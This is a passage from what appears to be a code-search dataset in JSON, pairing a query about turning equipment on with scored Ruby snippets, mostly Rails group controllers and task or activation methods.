"0.7304312", "text": "def show\n\t begin\n @group = Group.find(params[:id])\n\t rescue Exception => e\n\t\t redirect_to root_path, alert: \"This group does not exist.\"\n\t\t return\n\t\tend\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "683a772c1f28a9d15ad0c93ec704bbb6", "score": "0.73041856", "text": "def show\n @group_id = params[:id]\n @group_response = HTTParty.get(\"https://rails-api-ipo.herokuapp.com/api/v1/groups/#{@group_id}.json\")\n @group = {}\n @users =[]\n @group['id']=(@group_response['id'])\n @group['group_name']=(@group_response['group_name'])\n @group['group_permissions']=(@group_response['group_permissions'])\n @group['company_id']=(@group_response['company_id'])\n @users = @group_response['users']\n end", "title": "" }, { "docid": "dedb6fa98a83f2a2450a0fc1e8de452e", "score": "0.728867", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "2ea51c10649f43cc1dd4d335a9a7f76c", "score": "0.7286434", "text": "def index\n @groups = group_scope\n\n respond_to do |format|\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "9d74d1faf9defe08a0c08b1461236fba", "score": "0.7277091", "text": "def viewgroup\n groups = current_user.groups\n render :json => groups.to_json(:include => {\n :users => {:except => [:created_at, :updated_at, :password_digest, :remember_token]},\n :pending_users => {:except => [:created_at, :updated_at,:password_digest, :remember_token]\n }}), :status => 200\n end", "title": "" }, { "docid": "d6cd00f1ca7e9d9a520fb11a4c78d611", "score": "0.7268931", "text": "def show\n #@group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "17b7cc4605ed80431d0c691816f84f19", "score": "0.7246472", "text": "def get_group(group_id)\n request :get,\n \"/v3/team/groups/#{group_id}.json\"\n end", "title": "" }, { "docid": "9d1320eed64d15deb86eb9c3ef5ac222", "score": "0.7240919", "text": "def call\n res = client.get('/api/rest/v1/groups.json')\n\n res.map { |i| BrickFTP::Types::Group.new(**i.symbolize_keys) }\n end", "title": "" }, { "docid": "55a3f3bb2e6ac7a072c7bdd91a3209e2", "score": "0.72293305", "text": "def get_group_by_id(id)\n endpoint = '/groups'\n url = self.base_url.to_s + endpoint.to_s + \"/\" + id.to_s + self.format.to_s\n response = self.get_data(url)\n end", "title": "" }, { "docid": "0a6ea808a4b132046d558304d72a9d79", "score": "0.7222603", "text": "def get_user_groups\n path = self.api_root + \"/api/groups\"\n process_firecloud_request(:get, path)\n end", "title": "" }, { "docid": "2edcc132cc26565e66d568460cead4f6", "score": "0.7217469", "text": "def index\n @groups = Group.roots\n if request.format.html?\n if Setting.default_group\n find_group\n return show\n end\n end\n respond_with groups\n end", "title": "" }, { "docid": "199032fc3145e411e563ae50f99e1041", "score": "0.7206594", "text": "def index\n url = @httpIp + '/pet.com/api/group/getAllGroups'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n # @groups = JSON.parse(response, object_class: OpenStruct)\n @groups = Kaminari.paginate_array(JSON.parse(response, object_class: OpenStruct)).page(params[:page]).per(7)\n end", "title": "" }, { "docid": "aad9a3cb5d5cb07ec64f619772d07294", "score": "0.7194585", "text": "def get_group\n send_request(FUNCTION_GET_GROUP, [], '', 4, 'k4')\n end", "title": "" }, { "docid": "712ae4bb4001c50c46797339a3097f5c", "score": "0.7186749", "text": "def index\n @groups = Group.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "b1351d7de4cd32c59a1e587f7876dc89", "score": "0.71776694", "text": "def index\n # @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: Oj.dump(@groups, mode: :compat) }\n end\n end", "title": "" }, { "docid": "acadc79491e669d157eddf6824d4d5a6", "score": "0.7168449", "text": "def retrieve_group(group_id)\n start.uri('/api/group')\n .url_segment(group_id)\n .get()\n .go()\n end", "title": "" }, { "docid": "fbca079e1c60c6e3dd116443a2afb6af", "score": "0.7167576", "text": "def show\n @grp = Grp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @grp }\n end\n end", "title": "" }, { "docid": "cb31f2a64a65ceb280360f9a3f4cdce8", "score": "0.7167486", "text": "def show\n render :json => @group.to_json({})\n end", "title": "" }, { "docid": "bc64b66f2a8cb2e46b8d0b2c1961bbf6", "score": "0.7148975", "text": "def show\n\t\t@user_group = UserGroup.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @user_group }\n\t\tend\n\tend", "title": "" }, { "docid": "98ff2a0b2e2e6b2cea85f71b05d67bd3", "score": "0.71386117", "text": "def index\n @groups = Group\n authorize!(:index, Group)\n apply_scopes_and_pagination\n\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "479f642124110bcc4d18bb3a20b9bbe3", "score": "0.71302265", "text": "def show\n\t\t@user = User.find(params[:user_id])\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "fc6e83fdfe860f796ee8385afd0822a8", "score": "0.7128207", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "89e6c1811d237ad9750b03ec0075ed87", "score": "0.71136165", "text": "def retrieve_group(group_id)\n start.uri('/api/group')\n .url_segment(group_id)\n .get()\n .go()\n end", "title": "" }, { "docid": "41c598ca8a062bbfbbad8217af83a891", "score": "0.7112218", "text": "def show\n @group = Group.find(params[:id]) || ( not_found and return )\n authorize! :read, @group\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @group }\n end\n end", "title": "" }, { "docid": "53ddfc65a3ed915a3d75442e152a5e7d", "score": "0.71045506", "text": "def show\n @agroup = Agroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @agroup }\n end\n end", "title": "" }, { "docid": "609c637c518264c28df66ee4e81c0745", "score": "0.7104253", "text": "def show\n @groups = admin_groups(@groups)\n @groups_user = GroupsUser.where(:group_id => @groups).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @groups_user }\n end\n end", "title": "" }, { "docid": "37b5db737bc84a7027f20c1c4f9829e2", "score": "0.70963925", "text": "def index\n @groups = Group.all\n\n respond_with(@groups)\n end", "title": "" }, { "docid": "43ad591c88f42419f98c6967f0464f29", "score": "0.7091607", "text": "def index\n if (params[:query])\n @group = Group.find_by(group_name: params[:query])\n if @group\n render json: @group\n else\n respond_to do |format|\n format.json { render json: { errors: \"No Groups found\" }, status: :unprocessable_entity }\n end\n end\n elsif (params[:user_id])\n @groups = User.find(params[:user_id]).groups\n render json: @groups.limit(20).as_json(only: [:id, :title])\n else\n @groups = Group.all.where(instructor_id: params[:instructor_id])\n render json: @groups.limit(20).as_json(only: [:id, :title])\n end\n end", "title": "" }, { "docid": "c7b6bada37148f5b8bb7d7d6067e0e81", "score": "0.70915765", "text": "def group(id, options = {})\n get(\"/groups/#{url_encode id}\", query: options)\n end", "title": "" }, { "docid": "df45710b26241b16d83a0b960d9d5744", "score": "0.7073756", "text": "def show\n render json: @group_member\n end", "title": "" }, { "docid": "b548d4d02ece6fd0b6a47b6ce9d8babd", "score": "0.70728683", "text": "def show\n\t\t@group = Group.find_by(id: params[:id])\n\t\tusers = []\n\t\t@group.user_groups.collect { |a| users.push(a.user) }\n\n\t\trespond_to do |format|\n\t\t\tformat.json { render :json => users}\n\t\tend\n\tend", "title": "" }, { "docid": "c0abca3be528ae58c008a2ee9b0375b3", "score": "0.70683503", "text": "def groups\n Log.add_info(request, '') # Not to show passwords.\n\n ary = []\n groups = Group.where(nil).to_a\n unless groups.nil?\n groups_cache = {}\n group_obj_cache = Group.build_cache(groups)\n groups.each do |group|\n ary << group.id.to_s + ':' + Group.get_path(group.id, groups_cache, group_obj_cache)\n end\n end\n\n render(:text => ary.join(\"\\n\"))\n end", "title": "" }, { "docid": "53a6d2d72073b1b6d5f27b551d9b9512", "score": "0.70558184", "text": "def index\n if @current_user.isAdmin?\n @groups = Group.all\n else\n @groups = @current_user.groups\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "17fb5c15096571769c0a2da471f0fcf7", "score": "0.7049153", "text": "def show\n @groups_user = GroupsUser.where(:group_id => @groups).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @groups_user }\n end\n end", "title": "" }, { "docid": "9cc3ec7e938c88e28715d0409b1fc2df", "score": "0.7037348", "text": "def show\n @game_group = GameGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_group }\n end\n end", "title": "" }, { "docid": "ecf1359ff237b90f1d3fe71ef187f418", "score": "0.7037213", "text": "def index\n group_ids = current_user.memberships.collect{|g| g.group_id}\n @user = User.find(current_user)\n @groups = Group.all\n @my_groups = Group.where(:id => group_ids )\n \n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "d5cd770182a6ae4cf69a79822f3b2e3d", "score": "0.70367026", "text": "def index\n @groups = Group.all.page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end", "title": "" }, { "docid": "566828c690e6a6d5432af47dd6e380ce", "score": "0.70306265", "text": "def index\n @groups = Group.all\n\n respond_to do |format|\n format.html\n end\n end", "title": "" }, { "docid": "6e2b6765c8738c85c07ff9337a3d4393", "score": "0.7029634", "text": "def show\n @groupuser = Groupuser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @groupuser }\n end\n end", "title": "" }, { "docid": "5a7079657654162e1f9e0b6c37d7f332", "score": "0.7027212", "text": "def show\n render json: @group.as_json(params: params, list_users: true)\n end", "title": "" } ]
2da99cfb372f2c54fce43dc5390409ee
We always want this Task to try to turn the Equipment on
[ { "docid": "a1373f80f20111b52d20aac7301d53fe", "score": "0.5336541", "text": "def state=(s)\n raise ArgumentError, 'The state of TurnOnTasks is always \\'ON\\'' unless s.casecmp('ON').zero?\n super\n end", "title": "" } ]
[ { "docid": "9a598b47400832415744933103065a5b", "score": "0.6222809", "text": "def turn_on!\n set_power!(:on)\n end", "title": "" }, { "docid": "1db40096da5f9243a3a3dfd28db78c09", "score": "0.6183459", "text": "def enable!\n @active = true\n change_status(:wait)\n end", "title": "" }, { "docid": "8cc45b50b38050edcc5fc556f3b05741", "score": "0.5958915", "text": "def power_on\n target = entity_xml\n class_name = self.class.name.split(\"::\").last\n Config.logger.debug \"#{class_name} status: #{target[:status]}\"\n if is_status?(target, :POWERED_ON)\n Config.logger.info \"#{class_name} #{target.name} is already powered-on.\"\n return\n end\n\n power_on_link = target.power_on_link\n unless power_on_link\n fail CloudError,\n \"#{class_name} #{target.name} not in a state able to power on.\"\n end\n\n Config.logger.info \"Powering on #{class_name} #{target.name}.\"\n task = connection.post(power_on_link, nil)\n task = monitor_task task, @session.time_limit[:power_on]\n Config.logger.info \"#{class_name} #{target.name} is powered on.\"\n task\n end", "title": "" }, { "docid": "8d3a819c48a1a32ceac781b90cceace8", "score": "0.59204715", "text": "def turn_on #turn the power on\n @power = true\n end", "title": "" }, { "docid": "c5fa1e0011d9fd294303c40ce25ac637", "score": "0.5814859", "text": "def turn_on!\n @turned_off = false\n end", "title": "" }, { "docid": "60639b2f089bab76deeeef34d4270fc0", "score": "0.5773191", "text": "def enable(item)\n run(item)\n end", "title": "" }, { "docid": "22b95f06baf5920297c97f8492560d47", "score": "0.57450014", "text": "def set_equipment_things_to_check\n @equipment_things_to_check = EquipmentThingsToCheck.find(params[:id])\n end", "title": "" }, { "docid": "e0bb7244b4ed5f0b9dd48e286d26bade", "score": "0.5687833", "text": "def activate\n @status = true\n end", "title": "" }, { "docid": "83b8569a8fd0b0a3b4bca417d6a4b7bc", "score": "0.56097966", "text": "def activate!\n self.status = 'Active'\n nil\n end", "title": "" }, { "docid": "2f78aa6d31205fef21e669f2cf900fc6", "score": "0.55908453", "text": "def enable\n end", "title": "" }, { "docid": "b34d7c368251515920e220f2f38ef709", "score": "0.5587881", "text": "def power_on\n requires :id\n begin\n response = service.post_power_on_vapp(id)\n rescue Fog::VcloudDirector::Compute::BadRequest => ex\n Fog::Logger.debug(ex.message)\n return false\n end\n service.process_task(response.body)\n end", "title": "" }, { "docid": "4b1ff785c4d35e2c9db34b0581c6dc22", "score": "0.557477", "text": "def turn_on\n unless on?\n set_attribute('PIO', 1)\n end\n end", "title": "" }, { "docid": "75bad3d28d369f5de4232a0a4a98feec", "score": "0.55418164", "text": "def enable!; end", "title": "" }, { "docid": "f2456d1ab79a8ac8ab1b26d96bf86e82", "score": "0.5534869", "text": "def turn_on\n 'If the thermocycler is off, toggle the power switch in the back of the' \\\n ' instrument'\n end", "title": "" }, { "docid": "a32d8f4b0938cceff0743b46e693629f", "score": "0.5528095", "text": "def enabled!\n self\n end", "title": "" }, { "docid": "9e8756ab6a2e6ba18e4c680cfb19659c", "score": "0.5526482", "text": "def enable(thing)\n toggle.enable(thing)\n end", "title": "" }, { "docid": "53031cd580f73fc99ae5970269191452", "score": "0.5516056", "text": "def enable\n end", "title": "" }, { "docid": "39b14ca9093142ecf62a420cdf8e0689", "score": "0.5503198", "text": "def power_on!(wait=0)\n delegate(provider, :power_on!, wait)\n end", "title": "" }, { "docid": "b5d4e5484e388ef1521def0b4b893d90", "score": "0.55011964", "text": "def enable!\n self.enabled = true\n end", "title": "" }, { "docid": "3a1bfefbf4064c8b65b75202a4d5e0f7", "score": "0.5488664", "text": "def do_hold(last_check)\n if last_check.off?\n # If the status report says the Equipment is offline, try\n # resending the Task. If that doesn't work, fail and punt to the launcher.\n hold_failure! unless send_to_rhizome\n end\n end", "title": "" }, { "docid": "ba28ea38e1622d16e6a17391032a7709", "score": "0.5481492", "text": "def set_task\n\t\t\t@task = Task.find(params[:id])\n\t\t\tnot_your_task if @task.user != current_user\n\t\tend", "title": "" }, { "docid": "00265d49156da2eac96c0fb82422ff81", "score": "0.54722416", "text": "def habilitar\n if @product_product.habilitar!\n # Se obtiene el id del ultimo job para asignarlo al atributo job_id de \"product_products\"\n # por si la fecha de expiracion del producto es modificada, la fecha de ejecucion del job (run_at)\n # sea actualizada a la nueva fecha de expiracion del paquete\n job = Delayed::Job.last\n @product_product.update(:job_id => job.id)\n\n @product_product.update(:user_updated_id => current_user.id)\n redirect_to product_products_path , notice: I18n.t('products.controller.enable')\n end\n end", "title": "" }, { "docid": "62fe533a0908d2393668c4219f13c950", "score": "0.5454789", "text": "def start_task!\n task.start! if current_user == task.user && task.may_start?\n end", "title": "" }, { "docid": "388cb81aa384335139a4b3e80485ea27", "score": "0.5447752", "text": "def activate\n true\n end", "title": "" }, { "docid": "7a250327740fa55b4640d52e80152d02", "score": "0.5436984", "text": "def take_it_for_a_spin\n @ktt_disabled = true\n end", "title": "" }, { "docid": "9d13c44f8fe4bb190e527567d931070e", "score": "0.54280496", "text": "def start\n if @engine_on == false\n @engine_on = true\n @fuel -= 5\n return \"airplane started\"\n else\n return \"airplane already started\"\n end\n end", "title": "" }, { "docid": "9ac69e95ff6f927a699f144f43993622", "score": "0.54170334", "text": "def initiate_task_in_saas\n @client_token.registration_done? ? initiate_stake_and_mint_in_saas : initiate_registeration_in_saas\n end", "title": "" }, { "docid": "23e9e85f7143170314ba261d189c9d37", "score": "0.54117393", "text": "def enable\n exclusively do\n @enabled = true\n @manual_toggle = true\n end\n\n save_state\n\n sync_control do\n start_upkeep unless upkeep_running?\n end\n end", "title": "" }, { "docid": "0bd63183c8b99c4f9e424394d83f611c", "score": "0.5411452", "text": "def activate!\n self.active = true\n self.save!\n end", "title": "" }, { "docid": "3aa95ecca5a4470206dd2af59db819c1", "score": "0.5404396", "text": "def activate!\n raise NotImplementedError\n end", "title": "" }, { "docid": "e721a441ec7b4e06c3660bf624dc0c13", "score": "0.53986156", "text": "def enabled!\n self\n end", "title": "" }, { "docid": "1339853948df9c14ec64c1a587e6dc4d", "score": "0.53950375", "text": "def make_active\n self.status = \"A\"\n end", "title": "" }, { "docid": "d6a7b1e1cbd343a9a490d3dfda9118d6", "score": "0.5394978", "text": "def active?\r\n @event.parallel? && $game_switches[@event.switch_id]\r\n end", "title": "" }, { "docid": "736d6a1dd7228e85a2b5acbdce91a756", "score": "0.53853303", "text": "def turn_on()\n 'Turn on the #{model}<br>' \\\n 'If the thermocycler is off, toggle the power switch in the back of the instrument'\n end", "title": "" }, { "docid": "cf53ac4414d41aa5c50f58a59977d701", "score": "0.53837955", "text": "def enable_switch_inventory!\n delegate(provider, :enable_switch_inventory!)\n end", "title": "" }, { "docid": "42f2f7577294dcd29416dc0b7bd886c1", "score": "0.5381257", "text": "def ask_enable\n case state\n when :no\n self.state = :wantyes\n send_do\n when :yes\n error(\"Already enabled.\")\n when :wantno\n self.state = :wantno_opposite\n when :wantno_opposite\n error(\"Already queued an enable request.\")\n when :wantyes\n error(\"Already negotiating for enable.\")\n when :wantyes_opposite\n self.state = :wantyes\n else\n raise \"BUG: Illegal state #{state.inspect}\"\n end\n end", "title": "" }, { "docid": "a562f622a1b30366e2788fb8fce1a333", "score": "0.53675234", "text": "def working\n current_user.chef.toggle(:currently_working).save\n end", "title": "" }, { "docid": "68ed2d9ebc9d2af48c0e114c99abbadc", "score": "0.5363554", "text": "def assigned?\n self.task_state == TaskState.assigned\n end", "title": "" }, { "docid": "ad93a20698c6888f0000e2a35372eae1", "score": "0.53473336", "text": "def lock_task\n task = MailTasks::Task.find( params[:id] )\n task.update_attribute( :disabled, true )\n flash[:notice] = \"Task \\\"#{task.name}\\\" has been locked!\"\n redirect_to :action => \"index\"\n end", "title": "" }, { "docid": "91b58d7d97f5c0af5eb622a98468d7ac", "score": "0.53426194", "text": "def activate\n if player.location.has_items?\n # set inventory index being considered for get\n @index = 0\n @item = player.location.inventory[@index]\n if player.inventory.can_fit?(@item)\n if player.location.inventory.size == 1 && @item.quantity == 1\n # a single item at the location so just get it\n player.get(@item)\n game.change_state(Map.new)\n else\n game.messages << \"Do you want to pick up #{@item}? Y/N\"\n end\n else\n game.messages << 'Your inventory is full.'\n game.change_state(Map.new)\n end\n else\n # no items at location\n game.change_state(Map.new)\n end\n end", "title": "" }, { "docid": "56ea046cd333f8735ec50022c1272be5", "score": "0.5341098", "text": "def active!\n @active.update { |_| true }\n end", "title": "" }, { "docid": "d93d524cd18b5db6c689ea031dac5ea2", "score": "0.53358155", "text": "def toggle_availability\n if @chef.availability == true\n @chef.availability = false\n else\n @chef.availability = true\n end\n end", "title": "" }, { "docid": "a6fc595fa6b40c7226441c4f354af8f3", "score": "0.53306323", "text": "def disableTIEquipment _obj, _args\n \"_obj disableTIEquipment _args;\" \n end", "title": "" }, { "docid": "1f5f1650bb3d13700fa673da93b9311f", "score": "0.53264326", "text": "def powerOn()\n #ns = @topo.nodeSetDecl\n # Check that EC is NOT in 'Slave Mode' - If so call CMC to switch node(s) ON\n #if !NodeHandler.SLAVE_MODE()\n # CMC.nodeSetOn(ns)\n #end\n # Now set the state of each node to ON\n eachNode { |n|\n n.powerOn()\n if NodeHandler.JUST_PRINT\n n.checkIn(n.nodeId, '1.0', 'UNKNOWN')\n n.heartbeat(0, 0, Time.now.to_s)\n end\n }\n end", "title": "" }, { "docid": "094462e85b49da96971ef0bb9a9d9e91", "score": "0.53099906", "text": "def activate!\n @active = true\n end", "title": "" }, { "docid": "7690ce03701ee75b51c53a48dd431fc8", "score": "0.53092504", "text": "def activate\n copy self.class.activate(@id)\n true\n end", "title": "" }, { "docid": "3b697e8b9c776451eaa2cb5216357087", "score": "0.5306475", "text": "def enable?(item)\n true#$game_party.usable?(item)\n end", "title": "" }, { "docid": "e18bbffc8f4247e80aaa74ce47d849d0", "score": "0.5302386", "text": "def enable\n @service.disabled = false\n end", "title": "" }, { "docid": "16910abecc752f3a4ccf2733eabfbf32", "score": "0.5297043", "text": "def call_setup\n setup if self.active?\n self.save!\n rescue StandardError => e\n logger.error(e.message)\n self.update_column(:active, false)\n raise\n end", "title": "" }, { "docid": "7a7ee53ec67d6b4ad023564a9ff0b0cd", "score": "0.5286504", "text": "def task_available\n return unless task\n\n validate_task_has_no_pending\n validate_task_has_no_approved\n end", "title": "" }, { "docid": "c02e4f96e7216c29088a85026f99103e", "score": "0.5268773", "text": "def unmarked_mission(task)\n\t\tsuper if defined? super\n\t\treturn unless task.distribute? && task.self_owned?\n\n\t\tunless Distributed.updating?(self) || Distributed.updating?(task)\n\t\t Distributed.each_updated_peer(self, task) do |peer|\n\t\t\tpeer.transmit(:plan_set_mission, self, task, false)\n\t\t end\n\t\tend\n\t end", "title": "" }, { "docid": "f92b9c858e171d8a9dd05e7054dd69be", "score": "0.5251803", "text": "def set_task\n @task = Task.find_by!(uuid: params[:id])\n\n # rubocop:disable Style/GuardClause\n if @task.user_id != @current_user.id\n render status: :forbidden, json: { error: 'You are not allowed to make this action.' }\n false\n end\n # rubocop:enable Style/GuardClause\n end", "title": "" }, { "docid": "3e84828d51b9e0ba56934899f0f042d2", "score": "0.5247922", "text": "def make_harvestable\n self.alt_identities_changed = true\n self.harvested = false\n end", "title": "" }, { "docid": "562f8718eadfc4abd6aea28f9dcf1209", "score": "0.52397865", "text": "def active_permitted_tasks\n ( self.restricted? ) ? self.tasks.active : Task.active\n end", "title": "" }, { "docid": "031cd0fef235c7c6890664ac5612c3b2", "score": "0.5237952", "text": "def request_switch(pokemon)\n #> Récupération des combattants\n @enemies_o = @enemies = ::BattleEngine.get_enemies\n @actors_o = @actors = ::BattleEngine.get_actors\n ::BattleEngine._enable_ia #>Indication que l'IA travaille\n #> Initialisation des résultats\n @results = []\n #> Initialisation des infos\n @IA_Info = {}\n #> Réalisation des calculs\n state = try_switch(pokemon)\n #> Indication que le travail est fini\n ::BattleEngine._disable_ia\n return (state ? @results.first : false)\n end", "title": "" }, { "docid": "ebb6649ff64049c46522003e89b00ff0", "score": "0.5237061", "text": "def enable?(item)\n end", "title": "" }, { "docid": "9697161b0414915b71e938204d08b124", "score": "0.5235286", "text": "def enable?(index)\r\n @actor ? @actor.equip_change_ok?(index) : false\r\n end", "title": "" }, { "docid": "2fb2087cdf025dccbec2a9c3e919b16a", "score": "0.5234082", "text": "def enable\n @enabled = true\n end", "title": "" }, { "docid": "0c05ecea662d3f7b7f1cde14d7e200ee", "score": "0.5230438", "text": "def assigned_car\n @car_assigned_trip==true\n end", "title": "" }, { "docid": "47771a72ee50a7dfd24fed142a5593d1", "score": "0.52240115", "text": "def activation_lock_allow_when_supervised=(value)\n @activation_lock_allow_when_supervised = value\n end", "title": "" }, { "docid": "c634a822a71cc9e4a6dfde1698a0bf57", "score": "0.52205974", "text": "def perform\n target && true\n end", "title": "" }, { "docid": "878114a295ca4342b22cfda37e911d4f", "score": "0.5210963", "text": "def ignore_inactive?(_task)\n !active?\n end", "title": "" }, { "docid": "3fa5212665b881fd304f0808d2579692", "score": "0.5209464", "text": "def toggle_status\n @chain_task.toggle_status!\n render :text => :ok and return\n end", "title": "" }, { "docid": "26913c274d864bea02a3f91d827e003a", "score": "0.5192957", "text": "def activation_lock_allow_when_supervised\n return @activation_lock_allow_when_supervised\n end", "title": "" }, { "docid": "afce4edaa9d788ba74afc4096660681f", "score": "0.5184122", "text": "def enable?(item)\n return true\n end", "title": "" }, { "docid": "afce4edaa9d788ba74afc4096660681f", "score": "0.5184122", "text": "def enable?(item)\n return true\n end", "title": "" }, { "docid": "bb95cb7b1725d7639519ede6632196ca", "score": "0.5183849", "text": "def set_equipment_status\n @equipment_status = EquipmentStatus.find(params[:id])\n end", "title": "" }, { "docid": "641eeca35ef55e8a37bea556a45de668", "score": "0.51834357", "text": "def activer\n DBC.require( !actif?, \"Cours deja actif: #{self}\" )\n\n @actif = true\n end", "title": "" }, { "docid": "12b73cfa30a6eea17656f3a6c0e179da", "score": "0.5181166", "text": "def do_ramp(last_check)\n if last_check.off?\n # If the status report says the Equipment is offline, try\n # resending the Task. If that doesn't work, fail and punt to the launcher.\n ramp_failure! unless send_to_rhizome\n elsif last_check.temperature >= target_temperature\n # If we reach the target temperature, transition into holding.\n ready!\n end\n end", "title": "" }, { "docid": "2004e3d13bf620f7b445dbccd0c1cd20", "score": "0.51792973", "text": "def try_again(hostname)\n mirror = Mirror.find_by_hostname hostname\n\n if mirror\n mirror.tasks.each do |task|\n task.block = false\n task.save\n end\n\n puts \"done (unblocked)\"\n else\n puts \"hostname not found\"\n end\n\n nil\nend", "title": "" }, { "docid": "ec69c895315853a3cd277fafb59e97de", "score": "0.5174126", "text": "def task\n end", "title": "" }, { "docid": "0dc60a73da8b946fd7b8ac78d26d91ad", "score": "0.51733917", "text": "def perform_with_tingyun\n self._ty_serial = true\n perform_without_tingyun\n end", "title": "" }, { "docid": "b24afe184ae58556bd2c800d762c80b3", "score": "0.51700354", "text": "def enable?(item)\n true\n end", "title": "" }, { "docid": "b24afe184ae58556bd2c800d762c80b3", "score": "0.51700354", "text": "def enable?(item)\n true\n end", "title": "" }, { "docid": "505ddbf9265a903a4ac7d9b6bb11806f", "score": "0.5165446", "text": "def inactivate!(reason = nil)\n end", "title": "" }, { "docid": "a0c48be61e4355728256b5e31087ba1c", "score": "0.5140545", "text": "def activate\n @active = true\n end", "title": "" }, { "docid": "55c6dce5669b1be3c34b3a6019352547", "score": "0.513854", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n self.save(false)\n end", "title": "" }, { "docid": "a04219ab096b46e5f1176147928890de", "score": "0.5136488", "text": "def enable_current\n @disabled = false\n end", "title": "" }, { "docid": "d5c4028304b779085f54ef17cc45afee", "score": "0.51347905", "text": "def enable_pending_cops; end", "title": "" }, { "docid": "51750bd9b08ff27bbc59db34d757e9a6", "score": "0.51237655", "text": "def activate\n self.status = \"Active\"\n end", "title": "" }, { "docid": "65c568a38f0d44d637a6b32a05e97dfd", "score": "0.5122932", "text": "def update_appeal_state_on_task_creation\n update_appeal_state_when_privacy_act_created\n update_appeal_state_when_appeal_docketed\n update_appeal_state_when_ihp_created\n end", "title": "" }, { "docid": "bf6c78bfb5608fe31a17f2a25616a07f", "score": "0.5118274", "text": "def must_buy_train?(entity)\n must_buy_power?(entity)\n end", "title": "" }, { "docid": "ecc6dcd8350c10f0500e4d244306ad50", "score": "0.5107171", "text": "def time_is_up!\n Astute.logger.error \"Puppet agent took too long to run puppet task.\"\\\n \" Mark task as failed. #{task_details_for_log}\"\n self.task_status = 'failed'\n end", "title": "" }, { "docid": "229732d1e5145dc8e42134a7620177ab", "score": "0.50938076", "text": "def sleep_on_guard_locked(switch)\n @configuration.sleep_on_guard_locked = switch\n end", "title": "" }, { "docid": "eb9a5c66d65caa2ff3ddfc232bfd16df", "score": "0.5091752", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "e15e7d892a87be1c36d6bc589ffc2160", "score": "0.5087575", "text": "def stp_enabled_state\n super\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.50791544", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.50791544", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.50791544", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.50791544", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.50791544", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.50791544", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.50791544", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.50791544", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.50791544", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.50791544", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.50791544", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.50791544", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { "docid": "bcfdb88efa7af9d5c17eebf72664978e", "score": "0.50791544", "text": "def activate!\n @activated = true\n self.activated_at = Time.now.utc\n self.activation_code = nil\n save(false)\n end", "title": "" }, { 